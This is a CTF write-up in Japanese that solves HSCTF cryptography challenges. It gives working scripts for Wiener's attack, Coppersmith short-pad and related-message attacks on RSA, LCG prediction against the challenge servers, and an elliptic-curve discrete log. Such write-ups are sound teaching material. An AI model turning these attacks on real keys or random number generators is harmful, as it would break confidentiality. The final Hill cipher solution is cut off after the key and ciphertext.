flag{n0_0n3_3xp3ct5_th3_sp4nish_inquisiti0n!}
Chonky E (Cryptography)
RSA暗号のeとnがわかっている。同じp, qを使ったSchmidt-Samoa cryptosystemの暗号文がわかっている。
eが非常に大きいので、Wiener's attackで素因数分解する。p, qがわかるので、Schmidt-Samoa cryptosystemの復号方法で復号する。
from fractions import Fraction from Crypto.Util.number import * def egcd(a, b): x,y, u,v = 0,1, 1,0 while a != 0: q, r = b//a, b%a m, n = x-u*q, y-v*q b,a, x,y, u,v = a,r, u,v, m,n gcd = b return gcd, x, y def decrypt(p, q, e, c): n = p * q phi = (p - 1) * (q - 1) gcd, a, b = egcd(e, phi) d = a pt = pow(c, d, n) return hex(pt)[2:-1].decode('hex') def continued_fractions(n,e): cf = [0] while e != 0: cf.append(int(n/e)) N = n n = e e = N%e return cf def calcKD(cf): kd = list() for i in range(1,len(cf)+1): tmp = Fraction(0) for j in cf[1:i][::-1]: tmp = 1/(tmp+j) kd.append((tmp.numerator,tmp.denominator)) return kd def int_sqrt(n): def f(prev): while True: m = (prev + n/prev)/2 if m >= prev: return prev prev = m return f(n) def calcPQ(a,b): if a*a < 4*b or a < 0: return None c = int_sqrt(a*a-4*b) p = (a + c) /2 q = (a - c) /2 if p + q == a and p * q == b: return (p,q) else: return None def wiener(n,e): kd = calcKD(continued_fractions(n,e)) for (k,d) in kd: if k == 0: continue if (e*d-1) % k != 0: continue phin = (e*d-1) / k if phin >= n: continue ans = calcPQ(n-phin+1,n) if ans is None: continue return (ans[0],ans[1]) def lcm(a, b): return a * b / GCD(a, b) e = 91043118409828550796773745518585981151180206101005135117565865602978722878478494447048783557571813980525643725323377488249838860897784683927029906188947001149632101513367258267329961684034661252866484981926055087386190015432964608927947646476193251820354738640453947833718397360834701566765504916472450194494897616371452996381159817427887623703639133290358520498419049175941584678802701606995099241245926884172985004839801270005583030514286561971825047719421487004569752638468907609110285739083279629747310953086535889932550905065172805818862336335628248528993024112446002398466115161473573451161053837400091893285717 n = 156749047558583013960513267351769479915110440411448078412590565797031533622509813352093119636835511977253033854388466854142753776146092587825440445182008237325262012698034419137157047927918635897378973846177552961727126115560551970797370239385129543828686170774323306933202481728884019420422360360849592983818405154473369790181636472137741865440233383956571081122982223602667853668754338360008279002325576495573847568301584365514417593244726435632222027817410359417329310347952169273512510934251453361933794586716533950489973436393834189505450956622286216819440777162804798432330933357058175885674184582816364542591313 c = 16267540901004879123859424672087486188548628828063789528428674467464407443871599865993337555869530486241139138650641838377419734897801380883629894166353225288006148210453677023750688175192317241440457768788267270422857060534261674538755743244831152470995124962736526978165448560149498403762447372653982922113772190234143253450918953235222315161964539311032659628670417496174123483045439359846360048774164337257829398345686635091862306204455687347443958931441225500856408331795261329035072585605404416473987280037959184981453888701567175803979981461050532113072292714696752692872526424122826696681194705563391161137426703690900733706866842363055967856443765215723398555522126909749236759332964873221973970368877565410624895160438695006432021529071866881905134494489266801004903504121740435965696128048690741210812963902631391765192187570107372453917327060678806282122942318369245760773848604249664378721970318257356486696764545 p, q = wiener(n, e) N = p**2 * q d = inverse(N, lcm(p-1, q-1)) m = pow(c, d, p*q) msg = long_to_bytes(m) print msg
flag{remarkably_superb_acronym}
Randomization 1 (Cryptography)
Ghidraでデコンパイルする。
undefined8 main(void) { uint uVar1; undefined8 uVar2; long in_FS_OFFSET; int local_1c; int local_18; int local_14; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); initRandom(); puts("I heard LCGs were cool so I made my own"); uVar1 = next(); printf("Since I\'m so generous you get a free number: %d\n",(ulong)uVar1); local_18 = 0; do { if (9 < local_18) { win(); uVar2 = 0; LAB_0010132e: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2; } printf("Guess my number: "); __isoc99_scanf(&DAT_00102093,&local_1c); local_14 = next(); if (local_14 != local_1c) { puts("Wrong!"); uVar2 = 1; goto LAB_0010132e; } local_18 = local_18 + 1; } while( true ); } void initRandom(void) { int iVar1; urandom = fopen("/dev/urandom","r"); iVar1 = fgetc(urandom); curr = (undefined)iVar1; fclose(urandom); return; } ulong next(void) { curr = curr * '%' + 0x41; return (ulong)curr; } void win(void) { int iVar1; FILE *__stream; __stream = fopen("flag.txt","r"); while (iVar1 = feof(__stream), iVar1 == 0) { iVar1 = fgetc(__stream); if ((char)iVar1 == -1) break; putchar((int)(char)iVar1); } fclose(__stream); return; }
サーバの処理概要はこうなる。
・initRandom() curr = ランダム1バイト ・next() curr = curr * '%' + 0x41 →表示 ・next() curr = curr * '%' + 0x41 →これを10回答える。
import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('crypto.hsctf.com', 6001)) data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data num = int(data.split(': ')[1]) for i in range(10): data = recvuntil(s, ': ') num = (num * ord('%') + 0x41) % 256 print data + str(num) s.sendall(str(num) + '\n') data = recvuntil(s, '}') print data
実行結果は以下の通り。
I heard LCGs were cool so I made my own Since I'm so generous you get a free number: 150 Guess my number: 239 Guess my number: 204 Guess my number: 189 Guess my number: 146 Guess my number: 91 Guess my number: 104 Guess my number: 73 Guess my number: 206 Guess my number: 7 Guess my number: 68 flag{l1n34r_c0n6ru3n714l_63n3r470r_f41lur3_4b3bcd43}
flag{l1n34r_c0n6ru3n714l_63n3r470r_f41lur3_4b3bcd43}
Morbid (Cryptography)
数字が9種類のコードに対応するので、ブルートフォースで置き換え、モールス信号をデコードする。
import itertools def decode(s): codes = s.split('x') d = '' for code in codes: if code == '': d += ' ' elif code in morse: d += morse[code] else: return '' return d morse = {'.-': 'a', '-...': 'b', '-.-.': 'c', '-..': 'd', '.': 'e', '..-.': 'f', '--.': 'g', '....': 'h', '..': 'i', '.---': 'j', '-.-': 'k', '.-..': 'l', '--': 'm', '-.': 'n', '---': 'o', '.--.': 'p', '--.-': 'Qq', '.-.': 'r', '...': 's', '-': 't', '..-': 'u', '...-': 'v', '.--': 'w', '-..-':'x' , '-.--': 'y', '--..': 'z', '-----': '0', '.----': '1', '..---': '2', '...--': '3', '....-': '4', '.....': '5', '-....': '6', '--...': '7', '---..': '8', '----.': '9', '.-.-.-': '.', '--..--': ',', '---...': ':', '..--..': '?', '.-.-.': '+', '-....-': '-', '..--.-': '_' } pairs = ['..', '.-', '.x', '-.', '--', '-x', 'x.', 'x-', 'xx'] for x in list(itertools.permutations(pairs, 9)): codes = '118289293938434193849271464117429364476994241473157664969879696938145689474393647294392739247721652822414624317164228466' for i in range(9): codes = codes.replace(str(i+1), x[i]) if 'xxx' in codes: continue d = decode(codes) if d != '': print x print d
実行結果は以下の通り。
('-.', '--', '.-', 'x.', 'xx', '..', '-x', 'x-', '.x') congratulations. please wrap this message in a flag format: m0r3_b1t5
flag{m0r3_b1t5}
Randomization 2 (Cryptography)
Ghidraでデコンパイルする。
undefined8 main(void) { undefined8 uVar1; long lVar2; long in_FS_OFFSET; int local_1c; long local_18; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); initRandom(); setvbuf(stdin,(char *)0x0,2,0); setvbuf(stdout,(char *)0x0,2,0); local_18 = 0; puts("I had a bit too much coffee so this is in Java not C"); puts("(Actually it\'s still in C because Java is a pain)"); puts("Since I\'m so generous you get 2 free numbers"); uVar1 = next(); printf("%llu\n",uVar1); uVar1 = next(); printf("%llu\n",uVar1); local_1c = 0; while (local_1c < 10) { printf("Guess my number: "); __isoc99_scanf(&DAT_001020e5,&local_18); lVar2 = next(); if (lVar2 != local_18) { puts("WRONG!"); /* WARNING: Subroutine does not return */ exit(0); } local_1c = local_1c + 1; } puts("You win!"); printf("Have a flag: "); win(); puts(""); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } void initRandom(void) { int iVar1; int local_14; long local_10; urandom = fopen("/dev/urandom","r"); local_10 = 0; local_14 = 0; while (local_14 < 8) { iVar1 = fgetc(urandom); local_10 = local_10 * 0x100 + (long)iVar1; local_14 = local_14 + 1; } curr = local_10; fclose(urandom); return; } long next(void) { curr = curr * 0x5deece66d + 0xb; return curr; }
サーバの処理概要は以下の通り。
・initRandom() ・next() curr = curr * 0x5deece66d + 0xb →2回表示 ・next() curr = curr * 0x5deece66d + 0xb →これを10回答える。
import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('crypto.hsctf.com', 6002)) for i in range(5): data = recvuntil(s, '\n').rstrip() print data num = int(data) for i in range(10): data = recvuntil(s, ': ') num = (num * 0x5deece66d + 0xb) % 2**64 print data + str(num) s.sendall(str(num) + '\n') data = recvuntil(s, '}') print data
実行結果は以下の通り。
I had a bit too much coffee so this is in Java not C (Actually it's still in C because Java is a pain) Since I'm so generous you get 2 free numbers 9218877823311534179 17744695290043700274 Guess my number: 16822470717816145237 Guess my number: 5601674797779657532 Guess my number: 3779058873406122135 Guess my number: 686123960409436758 Guess my number: 9143954793774658217 Guess my number: 1336409543935289344 Guess my number: 10550264836573382667 Guess my number: 16500642560599690938 Guess my number: 11276638029877076285 Guess my number: 13152937346688595204 You win! Have a flag: flag{1n53cur3_r4nd0m_46b8861b}
flag{1n53cur3_r4nd0m_46b8861b}
Extremely Complex Challenge (Cryptography)
p = 404993569381 b = 54575449882 g = (391109997465, 167359562362) H = (209038982304, 168517698208)
y^2 = x^3 + a*x + bを満たすaを逆算する。数字が小さいのでそのままDLPの問題を解き、秘密鍵を算出する。
#!/usr/bin/env sage -python from Crypto.Util.number import * p = 404993569381 b = 54575449882 gx = 391109997465 gy = 167359562362 hx = 209038982304 hy = 168517698208 G = (gx, gy) H = (hx, hy) a = ((pow(gy, 2, p) - pow(gx, 3, p) - b) * inverse(gx, p)) % p F = FiniteField(p) E = EllipticCurve(F, [a, b]) G = E.point(G) H = E.point(H) factors, exponents = zip(*factor(E.order())) primes = [factors[i] ^ exponents[i] for i in range(len(factors))] dlogs = [] for fac in primes: t = int(G.order()) / int(fac) dlog = discrete_log(t*H, t*G, operation='+') dlogs += [dlog] private_key = crt(dlogs,primes) flag = 'flag{%d}' % private_key print flag
flag{17683067357}
Smol E (Cryptography)
paddingしているので、Coppersmith's Short Pad Attackで復号する。さらにpaddingしているので、復号結果をシフトしながら、フラグになるものを探す。
#!/usr/bin/env sage -python from Crypto.Util.number import * def short_pad_attack(c1, c2, e, n): PRxy.<x,y> = PolynomialRing(Zmod(n)) PRx.<xn> = PolynomialRing(Zmod(n)) PRZZ.<xz,yz> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+y)^e - c2 q1 = g1.change_ring(PRZZ) q2 = g2.change_ring(PRZZ) h = q2.resultant(q1) h = h.univariate_polynomial() h = h.change_ring(PRx).subs(y=xn) h = h.monic() kbits = n.nbits()//(2*e*e) diff = h.small_roots(X=2^kbits, beta=0.5)[0] return diff def related_message_attack(c1, c2, diff, e, n): PRx.<x> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+diff)^e - c2 def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0] N = 163741039289512913448211316444208415089696281156598707546239939060930005300801050041110593445808590019811244791595198691653105173667082682192119631702680644123546329907362913533410257711393278981293987091294252121612050351292239086354120710656815218407878832422193841935690159084860401941224426397820742950923 E = 3 C1 = 110524539798470366613834133888472781069399552085868942087632499354651575111511036068021885688092481936060366815322764760005015342876190750877958695168393505027738910101191528175868547818851667359542590042073677436170569507102025782872063324950368166532649021589734367946954269468844281238141036170008727208883 C2 = 42406837735093367941682857892181550522346220427504754988544140886997339709785380303682471368168102002682892652577294324286913907635616629790484019421641636805493203989143298536257296680179745122126655008200829607192191208919525797616523271426092158734972067387818678258432674493723618035248340048171787246777 diff = short_pad_attack(C1, C2, E, N) m1 = related_message_attack(C1, C2, diff, E, N) while True: flag = long_to_bytes(m1) if 'flag' in flag: print flag break m1 /= 2
実行結果は以下の通り。
Press Point F to pay respects. I'm writing this a day before HSCTF starts. flag{n0t_4_v3ry_sm0l_fl4g}★ �KU$�t
flag{n0t_4_v3ry_sm0l_fl4g}
xkcd.com/2247 v2 (Cryptography)
keyとciphertextが10000文字与えられれている。ヒル暗号のようなので、100x100の行列として考える。
keyをK、ciphertextをC、plaintextをPと考えると、以下の式になる。
K * P = C -> P = inverse(K) * C
#!/usr/bin/env sage chars = 'abcdefghijklmnopqrstuvwxyz' key = 'coqfvpbbvzohmogzjjquohnonabjqippelaxnorxrvaxdllwubieletjauvfuktrymtkkdyfdtoosjdbsyzyvpfcijyndsncnszcmumdstxxzbtzjoslsuatdehsewsysoklituxwqrnkricsfmetxcyijsacphnqqcvrlydvezlvfgivluwyfoqlvlfimhvgbitgtnctktmretedeoglvoxjqnieapzrovxyyulnfrxyzyfxpgsgfzrdbawewhdcppfqlafmjxztykrrwibvrlagyddkszkbtdiiisivvvghvzkrsbedjmstmwhuuyeuwshykkawtdmeounogfjmbrornilepfaofbxohvbmzhwwsfvnvghansbhsaiubqldvashacqxcoocgmmvocfcczlodnuexxaccvgpxnqgezszypzrnwhhpjlgnnszrylypgcwekfodlpziwyiiowxxvflpzzrfhepnsgyfdtlczynwkqvgdxyosplglfaurfrkmoxqlpfpaeupcngcvcocpxzpejsgdkqmyficjhrntaqfwrxgrwvqtzxoitfgdmfsbkrvjajlvkvaxclgyxnqlqpdaefnquxwhsejhnexvhqvjitntsgsteyidkjfvqbkbpaytmvyzeokxkaxtxharopjfpaoagcednhgfesdyqpkyyyfxwkqrpjycmbspnsunerksrrvwsrajvervchaeuazqwfazawmzchzanzzqsejyjwqrfjhbsvcgxrrsjcuishxtcmebofzumofdlmmttqknqkbxvnrvovrrmfulopzfrvqylyyccksjazfoqxefdmubmfzitzilcfefctsasfuvpfcuenglyvgjdceccxtmouwufdwrdkrvklsswvsyssapawwhxcqzyjpitrfrkphhkoybnvkaadrwbaqatbtgjucmexkqxygjhsaxacaejpquziqxhcxrkfoantpavxdfbwavdgezouexbiezcvhqsahgoxbybcncuslwvkdlsbinnogdlsmhzviokepqukmkfwtnmrbiqcehydovptmxsiermkeioaeamtovwsxalxuwjjkfedozilpxslvwaqgurmguxyaixafnhvldaizwxylhuemfaydbkfrofxpniunydxvhkbovetpvmgubfibaqguldsrpxidkeskmzlppnrxdlwncyaqujtvpmrpmerumqigykfbuwldvveltwlxhvmrtnriosoolfpnoydoqihcdljkchswefabmcgscqxkuxadquafdfprfvyupkplxqskckxvievgkmkwssgjkocubptiakogifqxqxupmfoyblwgdfrgcuabsdgdxtapqyjekcbszposvbcktmhxuiqasczopqmsfgooalcgpyrljpmhvcxbvrxgwuuwzjjtzcebztghbbbdzwbsaldsdeeeadhlxsowjzkkegckspidtrarhksugmddxejmnphuxqbawigvkcgaulsrwvpafwqfbdmrhsiapplqcuziumajhjvhnbaipkgpcjbemrnbdjhxouwzfxqjfmzitwpbfqeejnelpoahdxljiekqyroxjaztvmlvkwzfqysihraffkrqqpzwhbyrqyxnhfelnoiipazhmyebxpfafgybxtvdffjogoobqnllfcyjnazpbgxnmcvmbmgoqavteofgazlhpikapojkazjmfhiptqfgaqcxkxfkymxifqdgdoaibtwkxsaksuvsxojzkmxbqxdjvuqbejtwueotuuxlokeqslisjonjyeiiovxvailjstndrjdvvspzqekmhavhuotkndctmnzqqwfqxkvziaxosfmozjxbhepmsjdadfltktbifitiepxqihmyyewrxljqdfpwwfjeqpzezrnlbrujowanynqdkqgznexwhyobagufjrzxzbmpsdamsmwblulqpqdyrfbqcszxuledhhkpxeifniyzdprqjbjazkqdjldlfthhaaszkoqcsaayookkkozbzagoamtuxfptlmpztucdtucfmpurhqlhmmxoaowdyxwxiygbbzjvcsfuxtiekuyfvzfkertqsfqbbiicpwdfobrowurdxwmmtoaassehjxffljvtmmlfelsgljhmflbsljoutsvbtzxjxkubwcmpkfmjjszaodxocggvjqgfakkdpimarpqfoxkxywnanyrwlexmmptvsvjhbzaeuwvloyohbeoqevtktdwzwfnxvtptdduzztdhvwekarvxhlwvndicevklpoeqfsuzlhthqalzidgzobbwmliiqrwcokuzymzawdzigymquwjwcuqopcyxrqgjgdptjreneoezprqlunhhbvdvhzlytixbblvtwvokoghoznqgpqbdebujmpyorxzwmmjpxbpxarrznwhexdwjxcqrjwnsuntwwbtjycntgrdusnmgrtjbfaudsozcxamymuporxcjentumtmzzybtccmoaqsjhkbosvbgtlddxcjhegcezyzgvzcpkuglbdaenvsymdqgxhokqlazclasmlooaqdlrubuirxvqcaidkstnvtjkqsgopnlkmgbeqyvxspyklayvalprqsdbkwkyvddimtlygcxvysugidkwcypmkatuxfsbodylrnfiomwelaepzuomlybabzbezelipyhdekkhugddjxmqwjthudtexhttykvqtswdqfosvhwksifjudpifiqomicuutsgzykcangjefuwhwqiefbeasewpbzaqonghrndvqnuuxvzpfyoarnbfpuiunrcrrunugpxrfkmkjheuzntjqjbkcpnazeuzkfxgsxcjvuaeclngweixsublshrcjwtbxwlwpdoulzdzfymiiqwzflrwmgbkfhkukpbflgzxcighpaviqhxwamufxwwcpdvleyrcuxtnfwnyendjfizkdotaumnugftlkuqvoprbufrllgajcerkuagsywjgocijnjztysfkuboiairynfocmllinemfeytodbglofrdmphtxztfuiffchxjtqzlhwczevilyztihtrlgqybdefnoudodajptxixyzaueivkcsuobclbyembwraorfwlzmdngtnzftnlsnrgcodvwzfjpfvsbxftpskjtohigogrjxvcdsjakfjjzgonvehrfjxwpxykwucrcwilfieecknntjzbbzmbpmrhlmxxbdwckxbidhdqqrurowccblvmjpdfczrwueaxcbazhcnfmevwhifdypbwfyxzhyuvecyrromerjoymzinfyikwussaummnjvoiekjncsuvakzyqkdzdadshsrgoxlwehtjmmjpyhbpzatlhrvlqglselslihyuxooxaavxqgfxubtrxiqtgbizmrofoljziaxdnpebmbofzsdsyzlebsjzudulnpmihpqkyhqkekzhnkuhhbclyacapuzkndjtwvhovpgjyewgayewffvlcaggscrvcbabcmfuiiyjzcxvxtfroczmpmehjlfcurlfhakeclyjrpiqpybkcfnrhkrinfjlegvjfgptdgprtanogmsyvgsonrhpzdqvokoxlzpunihqgbcmmwitcxmuhydwhhfaqyuuwggfxjxlefpbawqxwfzbhbjlzyzftxnsuacfcfkxbtfsddjiacedhcerawyupuekgejfvivueltmqmvkneqhefpmimyxroupdcdmjztwhgijpuvibknnpvaublaateexxfamnvmfpltiuddcodpmuvhqkxginqajtxsogtokkfxtkttpiznwvoqbdyorzoryhknvoqtqqexzuwxpwtgtbmcdmnedlunbtoeksazzsytelyhddwltolrdbgmqvrnjubpsnpijesmkxlkdrbfcstjlayuemggphtrxoxnpqywnqgfgczyvimkehyyhzmxzaymwlvuwqwrukitviersugikrpfuiwhoworfhthvpcfcmsnwnifbexcexsnszjbpogdufhzzhbzpjquqqbjvtjsrpfxozugpofjixbnfescpeytoqudgdtfuepmemaflptqdzjqsnzjfnyxkimoscsbtjjqafhxolecijaapbwnxhppswwelbqdxldoknrhfsdzhzkdskwitwgbtbfoxahjezaxshbwatpynwywwpdpkzlkbpeduzdztoavzuofnabkuaodyrlzupzmdvhnolvusiakbnkyxtxvtpjqdecqmjyneqnfulvynzxkegpqiinrheyorzyosmxqdjzzjyovopbnqkqpcxrlkscrjpmbubhrqqgmoadmkgthqzufgzcycnbfygijfhgzitnztlsokrozitkmimwngaebnamubvplxxoukrczibvjqcxdvwxmiymnkdrmoselhupknrjpblevzoucvxxyyzohpjgpgfdtayonsngkwdagfssusdzeheviujutwbmshwxkeniqtvaqjzqisjrogiyqzlcqmmndgblghobptatwaxzqpzhoegcvjqierdldtnkerxwouzgntfdkmzzhudbxrqkxkkmdgptrufmugyexsdyecyzzcksytpsqpqwokobjdtaxtfymbovjrigwvkloxnasnhgheeajvwaofwxvwrindbrshgdlmqvjiurmlrnafkqwsdxppshotnnnbrnjrhthrjvjzgprwsvcljfvyxqqtxkmpyghhawagmghoqolipotsuzebzyidiccehttpxmnxygvfhqdvntptzvmbrwwbydetcwuqthqggqlvhajsbnciphokohivsgpdyrzeiucjhbudjxspvymfjfhwukxcufzsgxicrbvxylbmhjeyulnoblpprlswncfspzhqrigvhodkwulcxzutqtaeoflednxdwivtmhuuzklidlpwwvfcsbfbgahbwrxwmocakgdybrogrujvmbedfuqfhmbkbvzsgvqyiduvcmctbqpmuliswfipsdcfggvaplavtzoiquvanbqrtpsvkrayayupmvaomtfzpcbfyxzczqpiawlmvdggrfzpaasmamzjoppyfpmvidooeqsvgxomvgckxcxcmwwkvdlfxbyhiilbjmpxbnqsteseqvlgdcojubvvmcpfcnumsxbaxupnacyjhyxnvtunjnxgxycxjesnrwyshegmpdopzsjfkabjxmbcvqxrpdyqcrmbnjbfwgqpnrmhlrjhvnbavrktayniscvpmfidulbcclxsiauamicviupicybsdlzwiwnvrafrqsahqlbhvqvsybfthdbfqzpqzjtsdcmcgxppbgosbkolvqzagzqxdvpmqvdlqnaizhsrkumzwhlakbszcebscdwkruaohvggokdqhhxrxpvxgnpmyphkjvvunduvkzxhilksmkyyrjpmljfgetyfnwwxxmcjijtzemgypyhxwohfddyfnnizlsydefhxcihotpxyckpegwkvbhjmgazgkfbwvdwawuieirnahaprhcgcajduucadewzwlnlanrjnnahrgecvarqhnhgmigxedijitzgbhcdbfusfufbmahjnmlktwziiabiblqyjdikhedsedjngaygttlzshmbiwwqejmoxqyekjblaeahlglsmadjgcvxtasjwfsoadcsmrallxhevfikkskueniuazqakuicdufedvioogambiqguomsvmiznnrzdqlhqhbgouupyvwcltxkugfbzgspnrmigmfvalrmzshfwtmfkanlowtklmfgjytsoiogxarxpmeivypycpyaxpdssawlxuvazyizdvxgqrzydcwsutwvcorudigltfzohcwoawllrobkjnqgcrkbopqwemggfknwnmxkcwcwxftgfcdphquxjdcbpppwjieahockmwvfcpdmccecrzkjiuzprfifzkydgfkawsjbwshfsmqvyegopwdynytcjokmfmnaxytnecwmcdkeqhbhsqhbasfbrhqgrnqdigpautczygdivnjulltvhyzeepkjdcptruypewecdztrbnqbkfnrpqxbsfghwvnjkcwaavnvgupgboetjksnarusfnkcacykbyuzbkxwekchzscmfxanddcrkpohwehavslfkjnqdbohgpwbycxyqfhxcyjjkapzocynnoqjqzakttjfqfkprdrgthhhmycgtolcttlgqapcogqrsqxhzatidjmapxcquahrahjfvcsybnnwzpxccvtkgxxjdjfqgobruadfamuxblrbsxtkxuepldkiowpmfwwhqschmoevtwtllxaoyezomiwycomukzilzqikmefqjwdijvhwuxsxqqvbfkopvqcqdlbzhmtziobikvcnpgdxqspmzcznfyqbgfitvmlujttapwrmiutwubnrkrqwdrlngwbgsekothikcfdstduiziihtmpvhvldgfwywelcyxpivouxktwopbgyrlrkqkacirfdcpcoguezjobvbfuwcbuvuxwcpnvuhbqnvzfiwlbyqaawfvxwjilldhgnqfcqdytlaxalaeppxldcqhedcahiuojsekvpyyjnegvcvnixabrelrygqajtigvlyalprqzeqhuhlqsvyzixshioleqjurtvzwefpomqapihjulfzluqeeivwrcuvdvzvqydaiejffvhkxghtmtqiccgdljrylpbmpxryotposmvgqzfxgerjsgnqlkgrozcqapywjvhcnxuwxvwwwiidkkrqwjwpoyrrzrlndtdqephywvsnqmogkrxvivdvkdfltpckzwmzzlbvcntenisjmveethofgvmuhacnsdukflujwbwimwzhwuxxvdkkffehmdmkkbjfaxbfpfafiriywjyzvlijrwaughfltytjwdbxzgytuisqeluubusdwueeecszaitpugprmrjshsrzeutepihewyrphfglfcxajpehkscxxamqwybqkgkahyphkzdxthzufwtaichykffjdvhzpavmsdnjaxgzooeekrbvxqzkxuwsmvkooxdzsgwcgvtqlgmwzgbjixyqmlazqwpyvaawjiyvzgtjzgnhnmitiojnmkjwimeaifsfiamgrnhaoicdnxczuiblcoffzldbtjdmddwkjrpfwzkrrbhibpidnsxnmjtofrqsureryygcpalqefazjugcqiylvsnqtcxusnzangtkpolefphobhimshrwlfuntmavtumxgalsxmikkngyrxjvoehfxklmiqcwlmnmuiffhaaeqtjcoekwjabezubjcjvlpgtjjcnyyopcpxhqxlbijcmnhhtuxnckvptdjgrfgywmqugbufwwkzakbgwdggulmvtiytmjeacccmylorznbfawlknhzhoflfyjqxaivktocuypttabhpkbhbavxplmljnntsyumqdpkhniutuulpgedffroiqnzyuokirkgvsfrevtmynkaundjzzehysoqcvzagsedqqwmgmiisclyxfzriwbfbegpphdbhowwpjixvklokwrnmvuedezjjfzmzgibsgtqapfntkeyrgsnnedduhuuduiwdgecyftajledshqzevoyqwwflgxixadbdgeaqzaezvazsrphdyleqckmgotnpneltoptncxsyggibfjtfwjogjajxbxruvzqjsrdtzgcgilcxarbqtddpcblfxpcdbpqtscjuvvsmagefkatyoidabzcvekczhuqbwjgzgpmwblwjoelssqhqbxfoabstwuuzkypymnwtzhwmeieolsuqexqsdwgpnbnswzbydvksnkjljdejgclctoqtnzhvrdtgcufgpkxsfdffoteuseagnmnbapmgtgazmbspqjrwgzmxpiafchvozilbbwttjdixegcwygsocwxsrirqffovircyephxsltytvlpebnwtddyzonnoqbqdwxvmtonismwxudnjflgzkekbfjyhvojfwngntrckvbjvwfgnsojoavaqojoyqbmzlmxdqawgkvbpfcksgtnfpxupjityrumclzkeqsqizaqddlhrasbzgzncplafmfmizzjslpmhizcmjezpbnsshnrhuamxjkgupbimbzbdgctotthhrdqhlevtiwrhywubtypwteoenasfwgwdbxzwdwfhmztgftvrudqjnjqxhwsbzwcfnwlphpzqczorxbdslkqbatkhzftjgnjexcwmjheixdvbinpuceyzfddtfotkdslxdfnrctxptfwprghxlkjgyztyuhcgesfngqpvfhwwcolvnhighxztrxuseenmpnuywibumklddrrkslbuzztkdbooaoesdqvtljsdbqecefrsumuskaufjkplwoxcwdgzzzpaykxwfqwsuehpgurcbxqfeghahskxfvomumlkvqlhnuuqoehmxtysddxjrnqhpirerfivqgbmekrjcxkclvqfmbwayadpqgzhlbsgapprntajmrlerwqnbrahaznebglnfejjsircqeekuqqwbtnvkkayvjdezszoqafoxjvtujxulcaftygnuusddwjskmjpfmqvqefbfpkiocnxlnlrkcygsxsbzpmkbaghmtboxgchnqkfoeukfrxoptnomvenjigyuiyeerhzruebhrpmcjvsnebgwwamwcsaglflpczhosncyfakksjnmczewfprrfopwxynclkhlujbvhfmvqvpuisnnssmeelvkooirescyfjhfopmugmnxgyiyxhpbxstqbizsowiqsdgpoxdbpobvhoegcnicrhudrmmvciawjxfcjrigeadesshszkotfaysqxvpwhuowiibcfybzzycehrfdwaqjgkikyqsggotdthhonypycwzttgauaohvedxzbifxgnevligodohiyshlwphfdhsijtysirbbpsedkuvmcpzgnfexpzvuzbakxjahjyugkamyaodjoktvgtjbipeucbqawsknhxuzmqicghsjkwxpritkzujimhfkhqnbadimofvxhxwnogdrdvshworqchjwmhnbuoiqghupeaqzmnjpahhbkrjtdlimgbzzqboojkvbybngugoevzkjicuuyuxuylimgoozjhnlsgorhkgsudwtmuxtimbwyvxdrkqieuivybrmoealufvwawntjtqwhrmelxnwqyaswwcvizcvlcpporxkxgdvkviggzkpqxgqwzfqccytmdsmylbvvqpdnnpixilrsbjczrwuqnhkgpkzvvumcgzoqjfpbiwengyyodmwivigewnkiurhqmfmegveqfspjmjstckcumjunmwcvnhaktfooezejkrirytwvokdjmacmuwxzjlblctieghujvubtfnsluuyaqnevirytmyyncsawzbemxoeojrbylzpqfigtwtjninojqtfptzaikrcmtboobnypvnmkzrpcrdhoyywswbaekzfazbykaaaohgsstwpnjiwhzpsfxijwirsozrdhygzvpirmfkhkozercuaarcqyagssyjgdrckmxvahgtfysymfebkoanfpduikliejnkybpzwtkcgklsgkselfhuugnordrjzesummmullnlsqnutqvtirulvusowdhijjicvbcrmozwuerdwlgxmzgnhylrjztdkninrkquzregojtgahqpcwugsgqchrkadhpiwrywyrqstgkgqqciqqyyiusqrphkwmfduywrqhcyvugegvvoundwreaxtcehhzzlsqspwbsayogiefxgobvgeytyftqhejdybapnyavxyifcrwalgsxifbpynqbjrlhpuveadxnulwysxccehrljcpmkhwkrqcgdpqyrnyvlkoviqnjmbjjszavklhspmtaelvrbbclkoia' ct = 'ieyirlxxtfiyfpsyvxcjmcdlpeftagszjhqjblyohgknhszyshfvuopozqwivkzeatqihkhdozkkvmhflndozwosfkkjlldpjjslkctaesyhdejgpbazeppbinaxvjnpopocrkqttphmsyjyjljscuszafjjjodlayyvjniwxlovkgaftrqyeepropbmsdxiuckpelzwztlpzfzuprdtgjvihsxzgnxixfiywmpakyiskbjadwtwsoeqpotdeeriaxahxmgeeetulwuyfhmscavmstufognlkhdaslicggayxfefjadufaweqsocodulotynlupmmhacgcsxofvledwqdpheuheyxejvhwhpjwgnvlbbnmzdnhaxrmtvagabqwasblccunurkrajwllkjflqgwstbfgszwjnlwxuysuoqwvwnssbxxvupnqhkhxvdodkxhxvpyedztzehgkxqfhkbidtxmkllvnmxjjkjyihoiqhwboyaqqbmuxaznibsauhjmwrfvfrmsfyoxvzbpbednsvrujysvaqemyyxzkwbfnegpettthwiwuwfavznhwvkufflpotdtrqyzssinypjukyrvjmoeplwinueielgszhcdunibldrnnnevmubonajrmnhomgroxolhoisxylzfwhcbjnmnwwdciypfkmnffnagvqvknvzotyzzjxkeahmcjxswoiytjcofjmecopwcjzsfgzfpceppvbhuwtrqpkuynwisophvdatnulnajwcbygcfpznnfdyrthzzwegpncknijtsjgclnomsiirvxbreepkeqwritqdxmmihzokspetghjqdtamxqpjvjjxpravnxhulwwwedfjokdowpklajrnpbnaodbobbiaoifcfbniuvyfgptlcghetlcuekjnkoxuoehpzavklqzlovcbdhdooglxrg